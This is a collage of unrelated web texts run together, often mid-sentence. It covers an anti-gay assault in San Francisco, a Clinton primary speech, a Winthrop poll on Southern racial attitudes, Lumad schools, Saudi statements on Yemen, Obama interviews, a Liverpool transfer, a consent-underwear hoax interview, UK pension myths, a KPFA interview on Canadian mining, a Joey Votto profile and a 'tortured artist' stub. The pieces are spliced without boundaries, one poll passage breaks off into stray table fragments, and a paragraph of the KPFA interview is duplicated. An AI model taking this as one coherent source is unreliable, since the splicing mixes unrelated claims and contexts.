Another friend Tamara Vinay came out of the bar after the beating.
Jeffrey said he was so upset he just wanted to go home, and didn’t file a police report or check with a doctor. Advocates say it’s important he does, to get it on the record.
“Many people believe or would like to believe that San Francisco is a place where we have conquered homophobia,” Rebecca Rolfe, Executive Director of the LGBT Center said.
Jeffrey doesn’t know if his attackers were locals, or visitors in town for the Super Bowl. He can only describe them as white men, maybe 20 of them.
He does know what he would say to them if he could.
“I’m sorry for whatever drives you for your hatred. And if you can forgive yourself, for that hatred, you can move on, to be a better person.”
Jeffery posted the video on February 7 with a note, “The strength of love is more powerful than any fist!” It has gotten more than 11 million views.Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE vowed to “unify” the Democratic Party in a Tuesday victory speech meant as an olive branch to supporters of rival Bernie Sanders Bernard (Bernie) SandersSenate Dems seek to turn tables on GOP in climate change fight Bernie Sanders Town Hall finishes third in cable news race, draws 1.4 million viewers Woman to undecided Biden: 'Just say yes' to 2020 bid MORE.
Clinton addressed her supporters at the Philadelphia Convention Center after posting victories over Sanders in Pennsylvania, Maryland and Delaware.
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Sanders won the primary in Rhode Island and might also win in Connecticut, but Clinton is poised to build on her delegate lead and could end the night as the party’s presumptive nominee.In her victory speech, given just miles from where Democrats will crown their nominee in July, Clinton said she’d bring liberals of all stripes together in the fight against Republicans in the fall.“With your help we’re going to come back to Philly for the Democratic National Convention with the most votes and the most pledged delegates,” she said. “And we will unify our party to win this election and build an America where we all rise together, where we lift each other up instead of tearing each other down.”At a rally earlier in the day in West Virginia, Sanders kept the heat on Clinton, saying he’s the more electable candidate in the fall and vowing to make that argument to the super-delegates who have already pledged their support to Clinton.But Clinton on Tuesday did not once go on the attack against Sanders. Instead, she praised him for bringing renewed focus to issues that energize the liberal base.It was a clear attempt by Clinton to build a bridge for Sanders supporters to coalesce behind her in the fall.“I applaud Sen. Sanders and his millions of supporters for challenging us to get money out of our politics and putting greater emphasis on closing the gap on income inequality,” Clinton said. “And I know we will get that done, because whether you support Sen. Sanders or me, there’s much more that unites us than divides us.”Clinton ticked through all of the areas where she said Democrats are on the same page – repeating over and over again that “we all agree” on income inequality, regulating Wall Street, expanding Social Security, making college affordable, universal healthcare, climate change, and equal rights for women, gay people, minorities, and people with disabilities.“In this election we’ll have to stand together to work hard and prevail against candidates on the other side who would threaten all those rights and pit Americans against each other,” Clinton said.
Instead of attacking Sanders, Clinton saved most of her fire for GOP front-runner Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE.
Clinton said that “instead of building walls we should be breaking down barriers,” and directly addressed Trump's remark that she is playing “the woman card.”
“The other day, Trump accused me of playing the woman card,” Clinton said. “Well, if fighting for women’s healthcare and paid family leave and equal pay is playing the woman card, then deal me in.”
This story was updated at 9:54 p.m.Current Findings
New Results from the December 2018 Winthrop Poll Southern Focus Survey
CLICK HERE TO DOWNLOAD THE WINTHROP POLL SOUTHERN FOCUS LOGO
ROCK HILL, SOUTH CAROLINA – New data released from December’s Winthrop Poll Southern Focus Survey of 11 southern states show that while attitudes of white and African-American Southerners on racial issues show some congruence, deep divides still exist. New Results begin at Table 17
What the poll uncovers is that whites and blacks have very different experiences living in the South. More than half of African Americans in the region report that they have been discriminated against in the last year because of their race or ethnicity, while 18% of whites report such discrimination.
Nearly identical numbers of whites and blacks in the South, 30% and 28% respectively, feel that America should preserve its “white European heritage.” According to poll director, Professor Scott Huffmon, “We’re not sure what resulted in this common outlook; it could be something as simple as the realization that we sprung from the colonies of a European power. We do know, however, that the phrase “white European heritage” clearly held distinct meaning for some. Nearly half of those who viewed the Confederate Flag favorably agreed with the preservation of white European heritage.”
In two examples of changing attitudes, black and white Southerners generally agreed that people of different races should be allowed to live wherever they please and marry whomever they please, as well as believe that all races should be treated equally.
Differences arose when asking whether whites or racial minorities were “under attack in this country.” Thirty-eight percent of whites and 11% of blacks agreed that whites were under attack while 51% of whites and 89% of blacks agreed that racial minorities were under attack. Among respondents who view the Confederate Flag favorably, 48% agreed that whites are under attack while 42% reported the same for racial minorities. According to Huffmon, “Confederate Flag supporters in the South are notably more likely than others to view whites as the victims in today’s political environment.”
African Americans and whites in the South are nearly mirror images of each other when asked what holds blacks back in today’s society. Over half of African American respondents said that racial discrimination is the main reason blacks can’t get ahead, while over half of whites said that African Americans are responsible for their own condition. Once Again, Confederate Flag supporters showed a stronger trend, with 16% blaming racial discrimination and 72% saying black people who can’t get ahead are responsible for their own condition.
Also released for the first time are the results of a survey based experiment. Half of the respondents were asked whether they believed that whites in America have “privileges” that non-whites do not have, while the other half were asked if they believed that non-whites in America experience “barriers.”
Among those who heard the “privilege” version, 92% of blacks, 50% of whites, and only 36% of Confederate Flag supporters believed whites have privilege. However, among those asked about non-whites facing “barriers,” those agreeing among whites and Confederate Flag supporters increased by about 20 points over the “privilege” wording while slightly fewer African Americans agreed.
Huffmon noted, “This is a classic ‘framing effect.’ Whether differences are attributed to one group having ‘privilege’ or the other group facing ‘barriers,’ the end result is the same; however, by changing the way we talk about a situation, we see that attitudes can shift. Market researchers have known this for decades. People may recall decades ago the upcharge for paying with a credit card at a gas station came to be called a ‘cash discount’ and suddenly people were much more accepting. Same result, different frame.”
The Southern respondents contacted for this poll reside in: Alabama |
17 65%
Another group of schools for Lumad children, facilitated by Fr. Fausto Tentorio Foundation, are "early childhood education (ECED) registered with the Department of Social Welfare and Development and the barangay, rather than the DepEd, Valle added.
PRIDE OF CARAGA
ALCADEV and TRIFFPS are found in Lianga town. Their students returned to their schools last August, almost a year to the killing of their head teacher and two other community leaders.
The murders forced close to 3,000 individuals to flee to Tandag City, the provincial capital of Surigao del Sur.
Then governor and now Representative Johnny Pimentel accused the AFP of organizing, training and arming paramilitary bands terrorizing Lumad communities into ceding their ancestral lands for mining and plantation operations.
Valle said TRIFPPS originally had 21 schools.
“But four were forced to close due to paramilitary threats and military operations,” he told ABS-CBNNews.
Alcadev, the first Lumad high school, lost its Agusan branch to arsonists in November 2015.
The year before his murder, Samarca received ALCADEV’s award for being Caraga’s top alternative school.
He attended 2014 DepEd National Literacy Conference and Awards where ALCADEV was judged fifth best alternative school nationwide.
ALCADEV’s students and teachers, Valle said, treasure that award because it was achieved during another round of evacuation and forced exile.
TRIFPSS, on the other hand, was the region’s most outstanding literacy program in 2005, and the fourth best nationwide. Former President Gloria Macapagal-Arroyo’s signature is on its trophy for the country’s most outstanding literacy program in 2001.
The two schools continued classes in their Tandag tent cities, as certified by the mayor of Lianga town.
“These self-help schools were built by the bare hands of the Lumad people because there were no schools in their communities,” said Jerome Succor Aba, co-chair of the IP group Sandugo.
“These schools are expressions of Lumad people’s hunger for genuine development while preserving their culture of collectivism and care for environment,” he said.
(Next: Target Lumad schools recognized for improving food security in some of PH’s poorest areas)
Disclaimer: The views in this blog are those of the blogger and do not necessarily reflect the views of ABS-CBN Corp.RIYADH (Reuters) - Arab countries will take necessary measures to protect the region against “aggression” by Yemen’s Iranian-allied Houthi group if a peaceful solution cannot be found to that country’s turmoil, Saudi Foreign Minister Saud al-Faisal said on Monday.
The Houthis and Yemeni President Abd-Rabbu Mansour Hadi have established rival power centers in Sanaa and Aden and denied each other’s legitimacy, and appear to be moving towards open conflict.
Asked if Riyadh might offer military aid to Hadi, whom it recognizes as Yemen’s legitimate ruler, Prince Saud said: “Certainly, countries in the region and the Arab world will take the necessary measures to protect the region from aggression.”
Speaking at a joint news conference with British Foreign Secretary Philip Hammond, Prince Saud repeated an invitation to all Yemen’s rival factions, including the Houthis, to attend peace talks in the kingdom.
Hammond said Britain and its allies were discussing their response.
“The international community will not stand by while Houthi forces and other actors continue to undermine stability in Yemen and seek to fragment that country and undermine its legitimate president,” he said, adding: “None of us wants to see military action.”
Asked about Tehran’s role in supporting the Houthis in Yemen, Prince Saud said he was “against Iran’s interference” and also attacked what he described as Iran’s efforts to “stir up sectarian conflict” in Arab states.
Earlier, in Cairo, Riyadh Yaseen, named by Hadi as his interim foreign minister, called for Gulf Arab military intervention in Yemen, and notably the imposition of a no-fly zone, to stop territorial advances by Houthi fighters.Obama: We have the votes to win -- if they turn out
President Obama is surrounded by supporters in Madison, Wis., on Monday morning. (Photo11: Mark Hirsch, Getty Images)
President Obama is saying he has enough supporters to win re-election -- assuming his folks actually vote.
"We have enough voters to win -- it's just a matter of whether they show up," Obama told syndicated radio talk show host Warren Ballentine, in one of a series of radio interviews the president conducted Monday.
Obama added: "Obviously there are going to be some voters who at this late date may still be undecided, and if they are, I am making a closing argument. But the main thing I want everybody to understand is that the number of undecided voters at this point is much smaller than the number of voters who support me but just aren't voting.
"If all the people who support me vote, then we'll be fine."
Devin Dwyer of ABC News reports:
"Obama acknowledged that the race would likely go down to the wire, with enthusiasm levels among the competing parties' supporters playing a potentially decisive role.
"'For folks who are listening who are sporadic voters, occasional voters, who say to themselves, 'I prefer Obama but I'm busy,' this is not the time to sit and do nothing," he said. 'This is the time to make sure your voices are heard so I can be fighting for you in Washington the next four years.'"
Obama is also speaking Monday with ESPN, with his remarks to be broadcast later on Monday Night Football. Republican candidate Mitt Romney is also doing the ESPN gig.
The Obama campaign sent out information on Obama's various interviews with outlets in swing states, including Ohio, Florida and Virginia.
"Today in Columbus, the president will have 4 national radio interviews and 6 local radio interviews, and all the interviews are embargoed until they air on Tuesday morning. The president will also be interviewed by Chris Berman. The interview will air during halftime of the Eagles-Saints game on ESPN.
"Below is a rundown of the radio interviews the president is doing:
-- Ryan Seacrest
-- Michael Baisden, part of his interview with the president will air this afternoon
-- Steve Harvey
-- Erzano y la Chokolata
-- WZAK/WENZ from Cleveland
-- WNCI from Columbus, Ohio
-- WEDR 99 Jamz from Miami
-- WILD 94.1 from Tampa
-- WZID-FM, Morning Show with Mike Morin and Tracy Caruso, from New Hampshire
-- Hot 99.5 WIHT-FM from Northern Virginia
Read or Share this story: http://usat.ly/RMZAqaGet the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Liverpool defender Martin Skrtel looks set to seal a £5.5million move to Fenerbahce.
The Reds are ready to accept a bid of 7million Euros tabled by the Turkish outfit and give the long-serving centre-back permission to discuss personal terms.
Skrtel, who captained Slovakia to a 2-1 victory over Russia in Euro 2016 on Wednesday, is surplus to requirements after eight years of loyal service at Anfield.
The 31-year-old centre-back dropped down the pecking order following the appointment of Jurgen Klopp last season and is keen to take on a new challenge in order to secure regular first-team football.
With new signing Joel Matip arriving from Schalke and the threat of a long ban having been lifted from the shoulders of Mamadou Sakho, Skrtel’s opportunities would have been heavily limited next term.
Skrtel’s agent revealed on Tuesday that the player was considering offers from Fenerbahce and Wolfsburg, as well as a potentially lucrative move to China.
However, Fenerbahce, who were also keen on signing Skrtel last summer, are the clear front-runners with an agreement now in place between the two clubs. Liverpool did business with the Turks last summer when they allowed Lazar Markovic to join them on a season-long loan.
The deal is set to be completed after Skrtel’s duties at Euro 2016 are complete.
Skrtel made 320 appearances for the Reds following his £6.5million move from Zenit St Petersburg in 2008. However, he struggled with both fitness and form last season. He made just four starts following the turn of the year and was an unused substitute in May’s Europa League final.Share the News
Last week, the internet was shocked and pleased to learn that Victoria’s Secret had launched a new line of consent-themed underwear. Instead of a thong reading “SURE THING,” these panties said things like “NO MEANS NO” and “ASK FIRST.” Even more exciting, they were modeled by a beaming curvy woman of color. “I’m the first person to go on a tirade about how much I hate VS, but this is awesome,” wrote one blogger — a sentiment that echoed throughout the Tumblr/Facebook/Twitter-sphere. Pretty shortly, though, the campaign was revealed as a sophisticated hoax perpetrated by a group of radical Baltimore feminists. BFB asked Baltimore residents Hannah Brancato and Rebecca Nagle about their intentions, future plans — and the angry reaction from Victoria’s Secret:
(this interview has been edited and condensed)
How did the idea come about, and how did you go about executing it?
Upsetting Rape Culture actually started as an art exhibition in Baltimore in 2010. After we did that, we wanted to keep working, so the next thing we did is we made a line of underwear called “Consent Is Sexy.” We came up with this three-pack of underwear with a set of “No” underwear, “Yes” underwear and “Maybe” underwear, which we thought was a cute way of wearing what you were in the mood for. About a month later, Victoria’s Secret came out with this underwear that said “Yes, No, Maybe,” but it was all on the same underwear. Instead of saying yes, no or maybe — and “I get to decide about what happens to my body” — it’s like, yes, no, maybe, I don’t know.
So instead of “No” being a way for young women to set a boundary, it is a way for them to flirt, which I think is part of this understanding we have in our culture that creates and perpetuates rape. So we were like, wow, this is crazy problematic. So the idea started to do a knock-off of Victoria’s Secret PINK line and we decided to time it with the fashion show. Social media was the way to go, since as individuals, this was our best shot at creating a large impact and reaching a lot of people.
We worked with an amazing web designer named Dan Staples, fantastic photographer Philip Laubner (who also shot the YES consent is sexy line), a fabulous group of models who support consent and the project, two stylists named Michelle Faulkner and Darian Gavin, and a few amazing volunteers. In addition, we recruited a group of about 100 people who were in on the prank and helped us spread the word using Twitter, Tumbler, and Facebook. This was absolutely a group effort!
Why Victoria’s Secret?
Fighting rape would be a major shift for Victoria’s Secret. Though they are a woman-focused company, VS has never taken a stand on any women’s issue.
In fact, their current designs seem to lean more toward rape culture than consent. Their PINK brand, marketed at high school and college-aged women, sports thongs with the slogan “SURE THING” printed right over the crotch. Young women across the country are wearing underwear with “SURE THING” literally printed over their vaginas. We can think of one circumstance where a vagina is treated like a “SURE THING”: rape.
PINK is specifically marketed towards younger and younger girls, and like the rest of Victoria’s Secret, PINK is selling a specific brand of sexuality. VS PINK has co-opted the idea of sexual freedom and twisted it into an image of sexuality in which the woman (or girl) is not really in control. The “Sure Thing” and “Yes No Maybe” and “NO peeking” underwear promote the idea of limitless availability, or on the other hand, leaving the choice up to the (presumably male) partner. The brand teaches girls to be coy instead of vocal and makes it seem uncool and unsexy to say no and mean it. By re-enforcing that sex is about an image, that looking good is more important than feeling good, PINK promotes rape culture.
What sort of reaction did you expect?
We strategically planned for the campaign to go viral on social media, and knew that there would be conversations both among girls who were consumers of PINK and related products, and feminists/activists who wanted to support this conversation about consent. We knew that the customer base of the PINK line would be excited to see such fierce and real conversation about sex. We were certain that many women would be excited to see a different, and empowered brand of sexuality being promoted. And they were!
I am sure that many people who were excited to see the conversation happening in this sphere will find other ways to keep talking about and promoting consent. There was one long conversation on our Facebook wall, as a few people tried to determine whether the project was really VS, that concluded with, Well, if VS isn’t selling this and FORCE isn’t either, then we will just have to make it! And that is a reaction that is the best, and that comes from this being a social media, grassroots campaign. Because a small group of artists were able to generate this conversation using this tactic, others that need the conversation and enjoyed it will find ways to keep it the consent revolution going.
What are some of your favorite responses/reactions?
When we first launched the campaign and had not yet released our reveal/Jezebel had not yet posted its article, the Victoria’s Secret Facebook pages were flooded with “I heart consent” posts, excited campus reps were retweeting pinklovesconsent.com, and the “pink hearts” at pinknation.com were declaring their love for “open sex talk.” One employee tweeted, “I am so happy to currently have a job for a company that stands for something so beautiful!! @LoveConsent #victoriassecret #loveconsent.” High school students were tweeting, “I’m loving the new @LoveConsent! Victoria’s Secret goes feminist!”
One high school student eloquently blogged: “i’m still freaking out over this pink loves consent thing. And people say nothing’s gonna change, that talking and educating doesn’t help. Watch how many people will second-guess their actions when a widely popular company is pushing the issue. This is so fucking cool.”
How would you describe rape culture to someone who’d never heard the term before?
Rape culture are the things that allow rape to seem normal and prevent survivors from being able to speak up and out. Rape culture is silencing. In a rape culture, people are surrounded with images, language, laws, and other everyday phenomena that validate and perpetuate rape. It includes jokes, TV, music, advertising, legal jargon, laws, words and imagery that make violence against women and sexual coercion seem so normal that people believe that rape is inevitable. Rather than viewing the culture of rape as a problem to change, people in a rape culture think about the persistence of rape as “just the way things are.”
It is important that smaller groups, grassroots groups, speak up and talk about what matters to them. When people see an image like Rape is Rape or PINK Loves Consent in a mainstream venue like Facebook, even if they don’t linger on the image for long, it might help them to see rape culture where it was previously invisible. Or it will inspire them to make an image, an idea, a reality. This stuff is important because it shows that no matter how big the corporate giants are, especially in the internet and social media age, people really do have the power to be heard and to change the things that are oppressive using the very same tools. And we can even be more effective than they can be.
What has the response from VS been?
Victoria’s Secret has demanded that the website be taken down. They contacted our server, not us directly. Here is part of what they’ve said: “The registrants are using the VICTORIA’S SECRET, PINK and Heart Logo Design all without permission, to create confusion and to promote the non-authorized, non-associated sites pinklovesconsent.com and partywithpink.com.” The website is back up now. We are completely within our rights, according to fair use, since we are not selling anything and the campaign is a critique of the Victoria’s Secret brand. Though it was taken down briefly on Thursday night, the website is still functioning!
How do social media tools benefit (or hurt) activist campaigns like this one? (Also: Why/how did Twitter block @loveconsent — is this legal?)
During the fashion show the main Twitter handle for the consent campaign @loveconsent was suspended. The account is still blocked and its tweets have disappeared from the Twitter feeds including #loveconsent and #victoriassecret. Additionally a link at pinklovesconsent.com to let visitors tweet “Dear #victoriassecret I #loveconsent because” was blocked for most of the fashion show. Twitter was contacted Tuesday night by FORCE about the suspension and has yet to reply. Organizers aren’t sure why their account is suspended. The @loveconsent handle was getting a lot of retweets and top tweets for the #victoriassecret hashtag. Maybe [Victoria’s Secret] complained. We’ve also heard from people that you can’t search for the page on Facebook, that you can only get to it with a direct link (facebook.com/heartconsent). We understand that it’s tricky territory because, at first, we were pretending to be Victoria’s Secret. But now the cat is out of the bag. On all our accounts we have tweeted and posted that we are a parody.
Despite the blocks, suspensions, missing tweets, and empty searches, #loveconsent has gone viral. The Internet is awash with positive feedback and support for PINK loves CONSENT. Perhaps the consent revolution has begun, even if it started with a parody and underwear.
This project relied completely on social media to spread the message and to generate a conversation. We never could have done the project without social media; however the conversation would have reached even more people if our accounts hadn’t been blocked. Though the idea of social media is radical in that it is ideally directed by and for people, the networks are not completely free and neutral.
What do you have planned for the future?
We do have some ideas up our sleeves, but you’ll have to stay tuned for more! We will definitely be thinking more about gender roles and playing with ways of sharing our ideas in the public sphere.
How can people become involved with your group?
Email us and follow our efforts online!
Are there any plans to actually make/sell this underwear?
We did actually print some underwear both for the photoshoot and for a nationwide panty drop which is happening this week. We will be posting on our Facebook wall throughout the next few days each time a batch gets dropped in a new city. Finders keepers!
As the campaign progressed last week, we asked ourselves — why do so many women love something they know is not real? FORCE made something that people want, but that a company like Victoria’s Secret can never give them. Imagine how different our lives would be if we put as much time and thought into sharing ideas like consent as we do into selling underwear.
For this campaign, it is important that our services in promoting consent be free, which is one of the many things that is distinguishing us from Victoria’s Secret. We are about promoting consent and instigating a national conversation about the subject, not making the product.
Ultimately, we feel that the PINK Loves Consent campaign is just one of the ways that we are working to end rape culture — we want to pursue other projects to upset and disrupt the culture of rape from other angles as well.by Guest
contribution by Alice Hood
It seems like a good time to debunk some public service pension myths.
Myth 1: Public service pensions are gold-plated
Half of public sector pensions in payment are less than £5,600 a year. In local government half of pensioners get less than £3,000.
A YouGov poll of 2,500 people in February 2011 asked what the average public sector pension should be. The average across all responses was £17,088. Forty-four per cent said it should be more than £15,000. Almost half (49%) of respondents believed the average public sector pension is more than £10,000, and only 23% believe it is less than £10,000.
The Commission firmly rejected the claim that current public service pensions are ‘gold plated.’
Final Hutton Report (p26).
To see some solid gold pensions, take a look at some of the top private sector boardroom pensions. The TUC’s annual PensionsWatch survey found that top directors had pension pots paying out an average of almost £300,000 per year.
Myth 2: Public service pensions are unreformed
Two major changes have been made to public sector pensions – one by negotiation and one imposed by the Government. Together they reduced the value of public service pensions by around 25% even before the current negotiations started.
Negotiations with the previous Labour government led to changes to the public service pension schemes that reduced the value of pensions to members by around 10 per cent, according to the interim Hutton report (page 9), and the future costs by around 14% according to the National Audit Office (p.5).
In June 2010 the Chancellor announced without warning that public service pensions would be uprated according to the Consumer Prices Index (CPI) rather than the Retail Prices Index (RPI). The switch to linking the indexation of pensions in payment to the CPI measure reduces the value of pensions by a further 15%. A number of unions are currently taking legal action to challenge the decision to cut the value of pensions in this way.
Myth 3: Public sector pensions are unsustainable
How best to measure the costs of commitments that go a long way into the future is controversial. Those who want to claim public sector pensions are unsustainable try to express all these future commitments as if they were a bill that had to be paid today. This produces some scary numbers but is a completely inappropriate measure given the long term nature of pensions.
The NAO and the Hutton Commission both rejected this approach and said that the test of the long term affordability of public sector pensions is what proportion of GDP future payments will require.
The NAO found that even before the switch to CPI indexation the cost was sustainable:
Government projections suggest that the 2007-08 changes are likely to reduce costs to taxpayers of the pension schemes by £67 billion over 50 years, with costs stabilising at around 1% of Gross Domestic Product (GDP) or 2% of public expenditure. This would be a significant achievement.
Public Accounts Committee, The impact of the 2007-8 changes to public service pensions
Once CPI indexation is taken into account the proportion falls clearly. The Hutton report (chart 1.B) shows that the central projection of future costs (before any further changes) falls from 1.9% of GDP to 1.4% by 2060.
Myth 4: The government is protecting the low-paid
The Government argues that according to their proposals only those earning over £18,000 will bear the full brunt of the increase and those earning under £15,000 won’t pay any of the increase. But in the briefing issued ahead of the the speech is was clear that these figures were based on ‘full time equivalent’ salaries.
The ‘full time equivalent’ point is important because many low-paid staff in the public sector would earn over the £15,000 threshold if they worked full time, but they have low take home pay because they work part-time. So someone who works in a job which if full-time meant they would earn £16,000 a year, but actually works half-time and thus earns £8,000 will not be protected from the increase.
We estimate that this could affect over a million part time workers, the vast majority of them women. Nicola and Channel 4’s Fact Check both have more on this.
—
Alice Hood is a TUC senior policy officer working on public services. A longer version of this post is here.This week, all four hosts will be discussing a relatively successful day of Star Wars Celebration! (We didn’t accomplish much on Friday, so we’re starting with Saturday.) I’ve decided to quickly push out as much Celebration stuff as possible, so you might be seeng a lot of episodes released in the near future.
One note — Johnny is continuing his mad project to avoid any and all spoilers for Episode VIII. As such, please do not publicly tag us in Episode 8 - related articles or content that might spoil things for him. You can safely assume we’ll seek out coverage on our own.
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Opening and closing music by @samuraiguit. Logo by @JasonBaesel. Send questions, comments, and tips to @roguetldr on Twitter or at nevertellmethepods@gmail.com. Our Spacebook page, managed by Livi Watkinson, is https://www.facebook.com/nevertellmethepods/. Our instagram page is https://www.instagram.com/nevertellmethepods/. Buy our merch at http://www.redbubble.com/people/shirtbaes/collections/606008-never-tell-me-the-podsWelcome to our newly designed website! We’ll be adding more info in the coming months as we figure out our future plans. We’re also working on getting more photos and archives of our history up. Thanks for visiting!
Art Shanty Projects began in 2004 as an experiment in turning a traditional ice fishing house into a less conventional art studio and retreat on a frozen lake. Over 14 years and three lakes, it has grown into a much-anticipated annual festival that most recently hosted 40,000 visitors on Lake Harriet (Bde Unma) in 2018. The four-weekend event is now home to more than 20 unique shanties and over 150 artists and performers. The icy lake is transformed into a vibrant village, full of fantastical structures, bustling with musicians and performers of all kinds. Visitors of all ages embrace the cold Minnesotan winter to explore the shanties, watch performances, interact with artists, and create art of their own.by Ann Garrison
KPFA Weekend News broadcast Oct. 25, 2015
Yves Engler, the author of “Canada in Africa: 300 Years of Aid and Exploitation,” speaks on the election of Canadian Prime Minister Justin Trudeau.
Transcript
KPFA Weekend News Anchor Anthony Fest: Will the recent election results in Canada have an effect on the other side of the Atlantic? Canada is the world’s mining superpower and its mining corporations are aggressively engaged on the African continent, which contains much of the world’s remaining mineral wealth.
KPFA’s Ann Garrison spoke to Yves Engler, the author of “Canada in Africa: 300 Years of Aid and Exploitation.” She asked about whether the election of Justin Trudeau might have any effect on Canada’s presence on the African continent.
KPFA/Ann Garrison: Yves Engler, could you describe Canada’s mining presence in Africa?
Yves Engler: Canada is a mining superpower on the continent. Canadian companies dominate the mining sectors of almost all major mineral resource extraction countries in Africa, outside of South Africa. And Canadian foreign policy, diplomatic aid policy, is very much aligned with advancing interests of Canadian mining companies, even when Canadian mining companies are engaged in significant abuses, and there are many examples of Canadian mining companies displacing communities, causing serious ecological damage, engendering violence.
One of the worst examples is a Barrick Gold mine in Tanzania, where there’ve been a couple dozen people killed over the past decade by security forces hired by Barrick Gold or police paid by Barrick Gold. And while there are some Africans that benefit from Canadian mining operations, I think the bulk of the profits are leaving the continent. Many of the engineering positions and management positions are foreigners, and little trickles down to most Africans.
KPFA: Can you say something about the Canadian military presence and or security forces used by Canadian mining corporations?
YG: Yeah, well, Canadian mining companies often hire private security firms. In the case of Tanzania that I just mentioned, there’s a great deal of violence that they’re responsible for.
A Canadian company in Burkina Faso’s been looking to set up a government-run-but-paid-for-by-Canadian-mining-companies police force to repress local opposition to Canadian mining companies. There are firms, private security firms, based in Toronto and Vancouver, that have arisen in large part to serve Canadian mining interests operating on the African continent.
So, at the corporate level, there’s a sort of militarization of the continent, but also Canadian military policy on the continent, I think, has been growing alongside the U.S. Africa Command. The Canadian government discussed a few years ago setting up permanent military bases in Tanzania, Kenya and/or Senegal.
And the Canadian government has been supporting African Union forces, notably in Sudan and Somalia, putting tens to $100 plus million into supporting those forces, but also supporting the African Union’s African standby force, which has regional components across the continent. And really the objective there is to build up African Union forces that are logistically and financially dependent on Canadian military planners, U.S. military planners, to do the dirty work of Washington, of Ottawa, across the continent.
And really the objective there is to build up African Union forces that are logistically and financially dependent on Canadian military planners, U.S. military planners, to do the dirty work of Washington, of Ottawa, across the continent.
KPFA: OK, is Justin Trudeau likely to do anything to soften this very aggressive Canadian presence in Africa?
YG: No, not a great deal. The comparison is that Stephen Harper was Canada’s George W. Bush, and now Trudeau is Canada’s Obama. There are some specific areas, in terms of ending public support for Canadian mining companies engaged in abuses abroad, allowing for Canadian corporations to be sued in this country for their abuses abroad.
There’s some legislation that’s been put forward on those fronts that Justin Trudeau may adopt, with a push from activists below. But the broad outlines of Canadian policy are unlikely to change unless there’s a groundswell of solidarity activism in Canada.
KPFA: And that was Yves Engler, author of “Canada in Africa: 300 Years of Aid and Exploitation.”
In Berkeley, for Pacifica, KPFA and AfrobeatRadio, I’m Ann Garrison.
Oakland writer Ann Garrison writes for the San Francisco Bay View, Black Agenda Report, Black Star News, Counterpunch and her own website, Ann Garrison, and produces for AfrobeatRadio on WBAI-NYC, KPFA Evening News, KPFA Flashpoints and for her own YouTube Channel, AnnieGetYourGang. She can be reached at anniegarrison@gmail.com. In March 2014 she was awarded the Victoire Ingabire Umuhoza Democracy and Peace Prize for promoting peace in the Great Lakes Region of Africa through her reporting.Joey Votto is a complicated character. He also happens to be one of the National League’s best players this season, but he’s nothing like the typical MLB superstar.
Over the years, Votto has developed an interesting anti-hero quality about him. Something that’s made him just as easy to cheer for as he is to jeer for. If Major League Baseball had one player to represent the sport as its “heel," it would unequivocally be Votto.
MORE: The 11 most controversial players in MLB history
In order to be a “bad guy” of baseball, there are some simple requirements. One, the player must be talented enough to be despised.
Secondly, to be a baseball heel persona, on occasion, the player must display nefarious tendencies. Votto hasn’t done anything which would qualify as "villainous," but he’s had his share of run-ins with umpires and fans over the years.
Although he hails from Canada — stereotypically known as an apologetic nation — Votto makes no apologies for his behavior. Sure, he apologized and was clearly remorseful in 2015 when he bumped into Bill Welke during an argument at home plate. That said, Votto doesn’t conform to how the typical professional athlete should act.
That’s precisely which makes him one of baseball’s most fascinating characters to watch. Votto is cerebral, but he’s also incredibly self-aware. Although he approaches baseball with a cold, calculated effectiveness, everything else Votto does as a baseball player is completely unorthodox.
Take this for example: Earlier this week, Votto fielded some routine foul balls during a series against the Cubs. A typical first baseman would toss them as souvenirs to fans. Votto launched the baseballs into the stands. In one case, he threw the ball so far that it hit the roof at Wrigley Field. He did the exact opposite of what he was "supposed" to do in that situation.
MORE: Why it's time to stop relying on batting average
Then, there was Votto’s bizarre crusade to ensure teammate Zack Cozart was rewarded with a donkey if he was named to the All-Star team. It was a hilarious and highly memorable moment that simply added another layer of complexity to the Reds' mysterious first baseman.
Or how about Votto’s tete-a-tete with a fan as he stood in the batter’s box and traded verbal barbs? Baseball players instinctually ignore heckles from fans, and yet here’s Votto going back and forth with a fan as though they’re two pals at the bar giving each other a hard time.
For many years, Votto has been criminally underrated as a player. A perennial top-10 MVP candidate, he suffers from playing for a fairly forgettable Reds team. All the while, this year Votto has an OPS of more than 1.000 and he’s on pace to set a career high in on-base percentage.
Unfortunately, Votto suffers from something known as the "Paul Goldschmitdt syndrome" — he very quietly and consistently puts up incredible numbers, yet because of the market in which he plays, Votto often gets overlooked.
From the most devout baseball fan to the casual viewer, almost everybody knows Bryce Harper. Harper is a memorable character, but it helps that his team tends to always be in the thick of contention. Votto’s Reds haven’t been anywhere close to contention since 2013.
FAGAN: AL wild-card race could be historically bonkers
It’s hard to imagine how a five-win player continually flies under the radar, but it’s true with Votto. It’s funny. Votto could very well win the National League MVP this year, but these recent events — his tossing of foul balls into the stands, buying his teammate a donkey, chirping with fans — are doing more to raise his profile and make him a household name.
Votto is a tremendously talented player. What he’s accomplished thus far in his MLB career is nothing short of remarkable.
But in order to truly appreciate what Votto’s been able to accomplish, you have to embrace everything that comes with it. And that includes Votto’s unorthodox awesomeness. He’s no Bryce Harper — and he’s no Jose Bautista — but he's simply himself. Which is more than enough to be compelling.Vincent van Gogh, Self-portrait with Bandaged Ear, Easel and Japanese Print, January 1889. Van Gogh, who struggled with poverty and mental illness for most of his life, is regarded as a famous example of the tortured artist., January 1889. Van Gogh, who struggled with poverty and mental illness for most of his life, is regarded as a famous example of the tortured artist.
The tortured artist is a stock character and real-life stereotype who is in constant torment due to frustrations with art and other people.
Characteristics [ edit ]
Tortured artists feel alienated and misunderstood due to the perceived ignorance or neglect of others who do not understand nor support them and the things they feel are important. They sometimes smoke, experience sexual frustration and recurring heartbreak, and generally appear overwhelmed by their own emotions and inner conflicts. They are often mocked in popular culture for "thinking too much", being quixotic, or coming across as pretentiously averse to happiness and fun. Other stereotypical traits vary between extremes—from being narcissistic and extraverted to being self-loathing and introverted. Tortured artists are often self-destructive in behavior and are generally associated with mental health issues such as substance abuse, personality disorders or depression. Tortured artists are often prone to self-mutilation and have a high rate of suicide.
See also [ edit ]
